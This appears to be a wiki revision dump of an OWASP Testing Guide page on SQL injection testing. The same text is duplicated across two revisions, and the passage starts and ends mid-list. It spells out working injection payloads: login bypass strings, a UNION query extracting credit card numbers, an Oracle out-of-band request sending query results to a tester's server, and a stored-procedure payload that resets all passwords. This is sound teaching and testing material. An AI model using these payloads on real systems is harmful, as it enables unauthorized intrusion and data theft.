* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper] 
* http://sqlsus.sourceforge.net
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl

Testing for SQL Injection (OTG-INPVAL-005)

2012-11-21T23:05:14Z

Ismael Rocha:

{{Template:OWASP Testing Guide v4}}

==Brief Summary ==

An [[SQL injection]] attack consists of insertion or
"injection" of a SQL query via the input data from the client to the
application. A successful SQL injection exploit can read sensitive data from
the database, modify database data (insert/update/delete), execute
administration operations on the database (such as shutdown the DBMS), recover
the content of a given file existing on the DBMS file system or write files into
the file system, and, in some cases, issue commands to the operating system.
SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to
affect the execution of predefined SQL commands.

==Description of the Issue ==

In general the way web
applications construct SQL statements involving SQL syntax wrote by the
programmers mixed with user-supplied data. Example:

select title, text from news where id=$id

The red part is the SQL static
part supplied by the programmer and the variable $id contains user-supplied
data, making the SQL statement dynamic.

Because the way it was
constructed, the user can supply crafted input trying to make the original SQL
statement execute commands at user’s behavior. The example illustrates the
user-supplied data “10 or 1=1”, changing the logic of the SQL statement,
modifying the WHERE clause adding a condition “or 1=1”.

select title, text from news where id=10 or 1=1

SQL Injection attacks can
be divided into the following three classes:

* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
* Inferential: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

Independent of the attack
class, a successful SQL Injection attack requires the attacker to craft a
syntactically correct SQL Query. If the application returns an error message
generated by an incorrect query, then it is easy to reconstruct the logic of
the original query and, therefore, understand how to perform the injection
correctly. However, if the application hides the error details, then the tester
must be able to reverse engineer the logic of the original query. The latter
case is known as "[[Blind SQL Injection]]".

About the techniques to
exploit SQL injection flaws there are five commons techniques. Also those
techniques sometimes can be used in a combined way (e.g. union operator and
out-of-band):

* Union Operator: usually can be used when the SQL injection flaw happens in a SELECT statement, making possible to combine two queries into a single result.
* Boolean: use Boolean condition to verify if certain conditions are true or false.
* Error based: this technique forces the database to generate an error making
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It useful when attacker doesn’t have some kind of answer from the application.

==SQL Injection Detection ==

The first step in this test is to understand when the
application connects to a DB Server in order to access some data. Typical
examples of cases when an application needs to talk to a DB include:

* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes)
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database
* E-Commerce sites: the products and their characteristics (price, description, availability etc) are very likely to be stored in a relational database.

The tester has to make a list of all input fields
whose values could be used in crafting a SQL query, including the hidden fields
of POST requests and then test them separately, trying to interfere with the
query and to generate an error. Consider also HTTP headers and Cookies. The
very first test usually consists of adding a single quote (') or a semicolon
(;) to the field under test. The first is used in SQL as a string terminator
and, if not filtered by the application, would lead to an incorrect query. The
second is used to end a SQL statement and, if it is not filtered, it is also
likely to generate an error. The output of a vulnerable field might resemble
the following (on a Microsoft SQL Server, in this case):

<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
</pre>

<pre>[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
</pre>

<pre>character string ''.
</pre>

<pre>/target/target.asp, line 113
</pre>

Also comments (--) and other SQL keywords like 'AND'
and 'OR' can be used to try to modify the query. A very simple but sometimes
still effective technique is simply to insert a string where a number is
expected, as an error like the following might be generated:

<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
</pre>

<pre> [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
</pre>

<pre> varchar value 'test' to a column of data type int.
</pre>

<pre> /target/target.asp, line 113
</pre>

Monitor all the responses from the web server and have
a look at the HTML/javascript source code. Sometimes
the error is present inside them but for some reason (e.g. javascript
error) is not presented to the user. A full error message, like those in the
examples, provides a wealth of information to the tester in order to mount a
successful injection. However, applications often do not provide so much
detail: a simple '500 Server Error' or a custom error page might be issued,
meaning that we need to use blind injection techniques. In any case, it is very
important to test each field separately: only one variable must vary while all
the other remain constant, in order to precisely understand which parameters
are vulnerable and which are not.

=== Standard SQL Injection Testing ===

Example 1 (classical SQL Injection):

Consider the following SQL query:

<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'
</pre>

A similar query is generally used from the web
application in order to authenticate a user. If the query returns a value it
means that inside the database a user with that
credentials exists, then the user is allowed to login to the system, otherwise
the access is denied. The values of the input fields are generally obtained
from the user through a web form. Suppose we insert the following Username and
Password values:

<pre>$username = 1' or '1' = '1
</pre>

<pre>$password = 1' or '1' = '1
</pre>

The query will be:

<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'
</pre>

If we suppose that the values of the parameters are
sent to the server through the GET method, and if the domain of the vulnerable
web site is www.example.com, the request that we'll carry out will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1
</pre>

After a short analysis we notice that the query
returns a value (or a set of values) because the condition is always true (OR
1=1). In this way the system has authenticated the user without knowing the
username and password. ''In some systems the first row of a user table would be an administrator
user. This may be the profile returned in some cases.'' Another example of
query is the following:

<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))
</pre>

In this case, there are two problems, one due to the
use of the parentheses and one due to the use of MD5 hash function. First of
all, we resolve the problem of the parentheses. That simply consists of adding
a number of closing parentheses until we obtain a corrected query. To resolve
the second problem, we try to invalidate the second condition. We add to our
query a final symbol that means that a comment is beginning. In this way,
everything that follows such symbol is considered a comment. Every DBMS has its
own symbols of comment, however, a common symbol to the greater part of the
database is /*. In Oracle the symbol is "--". This said, the values
that we'll use as Username and Password are:

<pre>$username = 1' or '1' = '1'))/*
</pre>

<pre>$password = foo
</pre>

In this way, we'll get the following query:

<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))
</pre>

The URL request will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo
</pre>

This returns a number of values. Sometimes, the
authentication code verifies that the number of returned tuple
is exactly equal to 1. In the previous examples, this situation would be
difficult (in the database there is only one value per user). In order to go
around this problem, it is enough to insert a SQL command that imposes the
condition that the number of the returned tuple must
be one. (One record returned) In order to reach this goal, we use the operator
"LIMIT <num>", where <num> is the number of the tuples that we expect to be returned. With respect to the
previous example, the value of the fields Username and
Password will be modified as follows:

<pre>$username = 1' or '1' = '1')) LIMIT 1/*
</pre>

<pre>$password = foo
</pre>

In this way, we create a request like the follow:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo
</pre>

Example 2 (simple SELECT statement):

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

When the tester
try a valid value (e.g. 10 in this case), the application will return the
description of a product.
A good way to test if the application is vulnerable in this scenario
is play with logic, using the operators AND and OR.

Consider the request:

<pre>http://www.example.com/product.php?id=10 AND 1=2</pre>

SELECT * FROM products WHERE id_product=10
AND 1=2

In this case, probably the application would return
some message telling us there is no content available or a blanket page. Then
the tester can send a true statement and check if there is a valid result:

<pre>http://www.example.com/product.php?id=10 AND 1=1</pre>

This second example can also be used to test Blind Sql Injection.

Example 3 (Stacked queries):

Depending on the API which the web application is using
and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) is possible to
execute multiple queries in one call.

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

A way to exploit the above scenario would be:

<pre>http://www.example.com/product.php?id=10; INSERT INTO
users (…)</pre>

This way is possible to execute many queries in a row
and independent on the first query.

=== Fingerprinting the Database ===

Even the SQL language is a standard,
every DBMS has its peculiarity and differs from each other in many aspects like
especial commands, functions to retrieve data such as users names and
databases, features, comments line etc.

When the testers move to a more advanced SQL injection
exploitation they need to know the backend.

1) The first way to find out which is the backend is by
observing the error returned by the application. Follow are some examples:

MySql:

You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1

Oracle:

ORA-00933: SQL command not properly ended

SQL Server:

Microsoft SQL Native Client error ‘80040e14’

Unclosed quotation mark after the character string

PostgreSQL:

Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.

2) If there is no error message or a custom error message,
the tester can try to inject into string field using concatenation technique:

MySql: ‘test’ + ‘ing’

SQL Server: ‘test’ ‘ing’

Oracle: ‘test’||’ing’

PostgreSQL: ‘test’||’ing’

==Exploitation techniques ==

=== Union Exploitation technique ===

The UNION operator is used
in SQL injections to join a query, purposely forged by the tester, to the
original query. The result of the forged query will be joined to the result of
the original query, allowing the tester to obtain the values of fields of other
tables. We suppose for our examples that the query executed from the server is
the following:

SELECT
Name, Phone, Address FROM Users WHERE Id=$id

We will set the following
Id value:

$id=1
UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

We will have the following
query:

SELECT
Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

which will join the result of the original query
with all the credit card users. The keyword '''ALL''' is necessary to get
around queries that use the keyword DISTINCT. Moreover, we notice that beyond
the credit card numbers, we have selected other two values. These two values
are necessary, because the two query must have an
equal number of parameters, in order to avoid a syntax error.

The first
information the tester need to exploit the SQL injection vulnerability using
such technique is to find the right numbers of columns in the SELECT statement.

In order to
achieve it the tester can use ORDER BY clause followed by a number indicating
the numeration of database’s column selected:

<pre>http://www.example.com/product.php?id=10 ORDER BY 10--</pre>

If the query executes with success the tester will see
the tester can assume, in this example, there are 10 or more columns in the
SELECT statement. If the query fails and there is an error message available
probably it would be:

Unknown column '10' in 'order clause'

After the tester find out the numbers of columns, the
next step is to find out the type of columns. Assuming there were 3 columns in
the example above, the tester could try each column type, using the NULL value
to help them:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,null, null--</pre>

If the query fails, probably the tester will see a
message like:

All cells in a column must have the same datatype

If the query executes with success, the first column
can be an integer. Then the tester can move further and so on:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--</pre>

After the success exploitation, depending on the
application, it will show to the tester only the first result, because the
application treats only the first line of the result. In this case, it is
possible to use LIMIT like clause or the tester can set an invalid value,
making only the second line valid (supposing there is no entry in the database
which ID is 99999):

<pre>http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--</pre>

=== Boolean Exploitation technique ===

The Boolean exploitation technique is very useful when
the tester find a [[Blind SQL Injection]] situation, in
which nothing is known on the outcome of an operation. For example, this
behavior happens in cases where the programmer has created a custom error page
that does not reveal anything on the structure of the query or on the database.
(The page does not return a SQL error, it may just
return a HTTP 500). 
By using the inference methods, it is possible to avoid this obstacle and thus
to succeed to recover the values of some desired fields. This method consists
of carrying out a series of boolean
queries to the server, observing the answers and finally deducing the meaning
of such answers. We consider, as always, the www.example.com domain and we
suppose that it contains a parameter named id vulnerable to SQL injection. This
means that carrying out the following request:

<pre>http://www.example.com/index.php?id=1'</pre>

we will get one page with a custom message error which
is due to a syntactic error in the query. We suppose that the query executed on
the server is:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
</pre>

which is exploitable through the methods seen previously.
What we want to obtain is the values of the username field. The tests that we
will execute will allow us to obtain the value of the username field,
extracting such value character by character. This is possible through the use
of some standard functions, present practically in every database. For our
examples, we will use the following pseudo-functions:

'''SUBSTRING (text, start, length)''': it returns a
substring starting from the position "start" of text and of length
"length". If "start" is greater than the length of text,
the function returns a null value.

'''ASCII (char)''': it gives back ASCII value of the input character. A
null value is returned if char is 0.

'''LENGTH (text)''': it gives back the length in characters of the input
text.

Through such functions, we will execute our tests on
the first character and, when we have discovered the value, we will pass to the
second and so on, until we will have discovered the entire value. The tests
will take advantage of the function SUBSTRING, in order to select only one
character at a time (selecting a single character means to impose the length
parameter to 1), and the function ASCII, in order to obtain the ASCII value, so
that we can do numerical comparison. The results of the comparison will be done
with all the values of the ASCII table, until the right value is found. As an
example, we will use the following value for ''Id'':

<pre>$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
</pre>

that creates the following query (from now on, we will
call it "inferential query"):

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
</pre>

The previous example returns a result if and only if
the first character of the field username is equal to the ASCII value 97. If we
get a false value, then we increase the index of the ASCII table from 97 to 98
and we repeat the request. If instead we obtain a true value, we set to zero
the index of the ASCII table and we analyze the next character, modifying the
parameters of the SUBSTRING function. The problem is to understand in which way
we can distinguish tests returning a true value from those that return false.
To do this, we create a query that always returns false. This is possible by
using the following value for ''Id'':

<pre>$Id=1' AND '1' = '2
</pre>

by which will create the following query:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
</pre>

The obtained response from the server (that is HTML
code) will be the false value for our tests. This is enough to verify whether
the value obtained from the execution of the inferential query is equal to the
value obtained with the test executed before. Sometimes, this method does not
work. If the server returns two different pages as a result of two identical
consecutive web requests, we will not be able to discriminate the true value
from the false value. In these particular cases, it is necessary to use
particular filters that allow us to eliminate the code that changes between the
two requests and to obtain a template. Later on, for every inferential request
executed, we will extract the relative template from the response using the
same function, and we will perform a control between the two templates in order
to decide the result of the test.

In the previous discussion, we haven't dealt with the
problem of determining the termination condition for out tests, i.e., when we
should end the inference procedure. A techniques to do
this uses one characteristic of the SUBSTRING function and the LENGTH function.
When the test compares the current character with the ASCII code 0 (i.e., the
value null) and the test returns the value true, then either we are done with
the inference procedue (we have scanned the whole
string), or the value we have analyzed contains the null character.

We will insert the following value for the field ''Id'':

<pre>$Id=1' AND LENGTH(username)=N AND '1' = '1
</pre>

Where N is the number of characters that we have
analyzed up to now (not counting the null value). The query will be:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
</pre>

The query returns either true or false. If we obtain
true, then we have completed inference and, therefore, we know the value of the
parameter. If we obtain false, this means that the null character is present in
the value of the parameter, and we must continue to analyze the next parameter
until we find another null value.

The blind SQL injection attack needs a high volume of
queries. The tester may need an automatic tool to exploit the vulnerability.

=== Error based Exploitation technique ===

The Error based
exploitation technique is useful when the tester for some reason can’t exploit
the SQL injection vulnerability using other technique such as UNION. The Error
based technique consists in forcing the database to perform some operation in
which the result will be an error. The point here is to try to extract some
data from the database and show it in the error message. This exploitation
technique can be different from DBMS to DBMS (check DBMS specific session).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. Oracle 10g):

<pre>http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--</pre>

In this
example, the tester is concatenating the value 10 with the result of the
function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the
hostname of the parameter passed to it, which is other query, the name of the
user. When the database looks for a hostname with the user database name, it
will fail and return an error message like:

ORA-292257:
host SCOTT unknown

Then the tester
can manipulate the parameter passed to GET_HOST_NAME()
function and the result will be shown in the error message.

=== Out of band Exploitation technique ===

This technique
is very useful when the tester find a [[Blind SQL Injection]] situation, in
which nothing is known on the outcome of an operation. The technique consists in
the use of DBMS functions to perform an out of band connection and deliver the
results of the injected query as part of the request to the tester’s server.

Like the error
based techniques, each DBMS has its own functions. Check for specific DBMS
section.

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be:

<pre>http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--</pre>

In this
example, the tester is concatenating the value 10 with the result of the
function UTL_HTTP.request. This Oracle function will
try to connect to ‘testerserver’ and make a HTTP GET
request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver
(e.g. Apache) or use the Netcat tool:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1

Host: testerserver.com

Connection: close

=== Time day Exploitation technique ===

The Boolean
exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in
which nothing is known on the outcome of an operation. This technique consists
in sending an injected query and in case the conditional is true, the tester
can monitor the time taken to for the server to respond. If there is a delay,
the tester can assume the result of the conditional query is true. This
exploitation technique can be different from DBMS to DBMS (check DBMS specific
session)

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. MySql 5.x):

<pre>http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--</pre>

In this example
the tester if checking whether the MySql version is
5.x or not, making the server to delay the answer in 5 seconds. The tester can
increase the delay’s time and monitor the responses. The tester also doesn’t
need to wait for the response. Sometimes he can set a very high value (e.g.
100) and cancel the request after some seconds.

=== Stored Procedure Injection ===

When using dynamic SQL within a stored procedure, the application must
properly sanitize the user input to eliminate the risk of code injection. If
not sanitized, the user could enter malicious SQL that will be executed within
the stored procedure.

Consider the following '''SQL Server Stored Procedure:'''

Create
procedure user_login @username varchar(20), @passwd varchar(20) As

Declare @sqlstring varchar(250)

Set @sqlstring = ‘

Select 1
from users

Where
username = ‘ + @username + ‘ and passwd
= ‘ + @passwd

exec(@sqlstring)
Go
User input:
anyusername or 1=1'
anypassword

This procedure does not sanitize the input, therefore allowing the
return value to show an existing record with these
parameters. 
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a
user, but consider a dynamic reporting query where the user selects the columns
to view. The user could insert malicious code into this scenario and compromise
the data. 
Consider the following '''SQL Server Stored Procedure:'''

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go

User input:

1 from
users; update users set password = 'password'; select *

This will result in the report running and all users’ passwords being
updated.

=== Automated Exploitation ===

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester
can find information how to perform an automated auditing using SQLMap.

https://www.owasp.org/index.php/Automated_Audit_using_SQLMa

== Related Articles ==

* [[Top 10 2007-Injection Flaws]]
* [[SQL Injection]]

Technology specific Testing Guide pages have been created for the following DBMSs:

* [[Testing for Oracle| Oracle]]
* [[Testing for MySQL| MySQL]]
* [[Testing for SQL Server | SQL Server]]

== References ==

'''Whitepapers''' 

* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - http://www.thomascookegypt.com/holidays/pdfpkgs/931.pdf
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* Kevin Spett from SPI Dynamics: "SQL Injection" - http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf

'''Tools''' 
* SQL Injection Fuzz Strings (from wfuzz tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/SQL.txt
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector] 
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools] 
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper] 
* http://sqlsus.sourceforge.net
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl

Testing for SQL Injection (OTG-INPVAL-005)

2012-11-21T22:57:38Z

Ismael Rocha:

{{Template:OWASP Testing Guide v4}}

'''Brief Summary '''

An [[SQL injection]] attack consists of insertion or
"injection" of a SQL query via the input data from the client to the
application. A successful SQL injection exploit can read sensitive data from
the database, modify database data (insert/update/delete), execute
administration operations on the database (such as shutdown the DBMS), recover
the content of a given file existing on the DBMS file system or write files into
the file system, and, in some cases, issue commands to the operating system.
SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to
affect the execution of predefined SQL commands.

'''Description of the Issue '''

In general the way web
applications construct SQL statements involving SQL syntax wrote by the
programmers mixed with user-supplied data. Example:

select title, text from news where id=$id

The red part is the SQL static
part supplied by the programmer and the variable $id contains user-supplied
data, making the SQL statement dynamic.

Because the way it was
constructed, the user can supply crafted input trying to make the original SQL
statement execute commands at user’s behavior. The example illustrates the
user-supplied data “10 or 1=1”, changing the logic of the SQL statement,
modifying the WHERE clause adding a condition “or 1=1”.

select title, text from news where id=10 or 1=1

SQL Injection attacks can
be divided into the following three classes:

* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
* Inferential: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

Independent of the attack
class, a successful SQL Injection attack requires the attacker to craft a
syntactically correct SQL Query. If the application returns an error message
generated by an incorrect query, then it is easy to reconstruct the logic of
the original query and, therefore, understand how to perform the injection
correctly. However, if the application hides the error details, then the tester
must be able to reverse engineer the logic of the original query. The latter
case is known as "[[Blind SQL Injection]]".

About the techniques to
exploit SQL injection flaws there are five commons techniques. Also those
techniques sometimes can be used in a combined way (e.g. union operator and
out-of-band):

* Union Operator: usually can be used when the SQL injection flaw happens in a SELECT statement, making possible to combine two queries into a single result.
* Boolean: use Boolean condition to verify if certain conditions are true or false.
* Error based: this technique forces the database to generate an error making
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It useful when attacker doesn’t have some kind of answer from the application.

=== SQL Injection Detection ===

The first step in this test is to understand when the
application connects to a DB Server in order to access some data. Typical
examples of cases when an application needs to talk to a DB include:

* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes)
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database
* E-Commerce sites: the products and their characteristics (price, description, availability etc) are very likely to be stored in a relational database.

The tester has to make a list of all input fields
whose values could be used in crafting a SQL query, including the hidden fields
of POST requests and then test them separately, trying to interfere with the
query and to generate an error. Consider also HTTP headers and Cookies. The
very first test usually consists of adding a single quote (') or a semicolon
(;) to the field under test. The first is used in SQL as a string terminator
and, if not filtered by the application, would lead to an incorrect query. The
second is used to end a SQL statement and, if it is not filtered, it is also
likely to generate an error. The output of a vulnerable field might resemble
the following (on a Microsoft SQL Server, in this case):

<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
</pre>

<pre>[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
</pre>

<pre>character string ''.
</pre>

<pre>/target/target.asp, line 113
</pre>

Also comments (--) and other SQL keywords like 'AND'
and 'OR' can be used to try to modify the query. A very simple but sometimes
still effective technique is simply to insert a string where a number is
expected, as an error like the following might be generated:

<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
</pre>

<pre> [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
</pre>

<pre> varchar value 'test' to a column of data type int.
</pre>

<pre> /target/target.asp, line 113
</pre>

Monitor all the responses from the web server and have
a look at the HTML/javascript source code. Sometimes
the error is present inside them but for some reason (e.g. javascript
error) is not presented to the user. A full error message, like those in the
examples, provides a wealth of information to the tester in order to mount a
successful injection. However, applications often do not provide so much
detail: a simple '500 Server Error' or a custom error page might be issued,
meaning that we need to use blind injection techniques. In any case, it is very
important to test each field separately: only one variable must vary while all
the other remain constant, in order to precisely understand which parameters
are vulnerable and which are not.

=== Standard SQL Injection Testing ===

Example 1 (classical SQL Injection):

Consider the following SQL query:

<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'
</pre>

A similar query is generally used from the web
application in order to authenticate a user. If the query returns a value it
means that inside the database a user with that
credentials exists, then the user is allowed to login to the system, otherwise
the access is denied. The values of the input fields are generally obtained
from the user through a web form. Suppose we insert the following Username and
Password values:

<pre>$username = 1' or '1' = '1
</pre>

<pre>$password = 1' or '1' = '1
</pre>

The query will be:

<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'
</pre>

If we suppose that the values of the parameters are
sent to the server through the GET method, and if the domain of the vulnerable
web site is www.example.com, the request that we'll carry out will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1
</pre>

After a short analysis we notice that the query
returns a value (or a set of values) because the condition is always true (OR
1=1). In this way the system has authenticated the user without knowing the
username and password. ''In some systems the first row of a user table would be an administrator
user. This may be the profile returned in some cases.'' Another example of
query is the following:

<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))
</pre>

In this case, there are two problems, one due to the
use of the parentheses and one due to the use of MD5 hash function. First of
all, we resolve the problem of the parentheses. That simply consists of adding
a number of closing parentheses until we obtain a corrected query. To resolve
the second problem, we try to invalidate the second condition. We add to our
query a final symbol that means that a comment is beginning. In this way,
everything that follows such symbol is considered a comment. Every DBMS has its
own symbols of comment, however, a common symbol to the greater part of the
database is /*. In Oracle the symbol is "--". This said, the values
that we'll use as Username and Password are:

<pre>$username = 1' or '1' = '1'))/*
</pre>

<pre>$password = foo
</pre>

In this way, we'll get the following query:

<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))
</pre>

The URL request will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo
</pre>

This returns a number of values. Sometimes, the
authentication code verifies that the number of returned tuple
is exactly equal to 1. In the previous examples, this situation would be
difficult (in the database there is only one value per user). In order to go
around this problem, it is enough to insert a SQL command that imposes the
condition that the number of the returned tuple must
be one. (One record returned) In order to reach this goal, we use the operator
"LIMIT <num>", where <num> is the number of the tuples that we expect to be returned. With respect to the
previous example, the value of the fields Username and
Password will be modified as follows:

<pre>$username = 1' or '1' = '1')) LIMIT 1/*
</pre>

<pre>$password = foo
</pre>

In this way, we create a request like the follow:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo
</pre>

Example 2 (simple SELECT statement):

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the
query above:

http://www.example.com/product.php?id=10

When the tester
try a valid value (e.g. 10 in this case), the application will return the
description of a product.
A good way to test if the application is vulnerable in this scenario
is play with logic, using the operators AND and OR.

Consider the request:

http://www.example.com/product.php?id=10 AND 1=2

SELECT * FROM products WHERE id_product=10
AND 1=2

In this case, probably the application would return
some message telling us there is no content available or a blanket page. Then
the tester can send a true statement and check if there is a valid result:

http://www.example.com/product.php?id=10 AND 1=1

This second example can also be used to test Blind Sql Injection.

Example 3 (Stacked queries):

Depending on the API which the web application is using
and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) is possible to
execute multiple queries in one call.

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

A way to exploit the above scenario would be:

http://www.example.com/product.php?id=10; INSERT INTO
users (…)

This way is possible to execute many queries in a row
and independent on the first query.

=== Fingerprinting the Database ===

Even the SQL language is a standard,
every DBMS has its peculiarity and differs from each other in many aspects like
especial commands, functions to retrieve data such as users names and
databases, features, comments line etc.

When the testers move to a more advanced SQL injection
exploitation they need to know the backend.

1) The first way to find out which is the backend is by
observing the error returned by the application. Follow are some examples:

MySql:

You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1

Oracle:

ORA-00933: SQL command not properly ended

SQL Server:

Microsoft SQL Native Client error ‘80040e14’

Unclosed quotation mark after the character string

PostgreSQL:

Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.

2) If there is no error message or a custom error message,
the tester can try to inject into string field using concatenation technique:

MySql: ‘test’ + ‘ing’

SQL Server: ‘test’ ‘ing’

Oracle: ‘test’||’ing’

PostgreSQL: ‘test’||’ing’

=== Union Exploitation technique ===

The UNION operator is used
in SQL injections to join a query, purposely forged by the tester, to the
original query. The result of the forged query will be joined to the result of
the original query, allowing the tester to obtain the values of fields of other
tables. We suppose for our examples that the query executed from the server is
the following:

SELECT
Name, Phone, Address FROM Users WHERE Id=$id

We will set the following
Id value:

$id=1
UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

We will have the following
query:

SELECT
Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

which will join the result of the original query
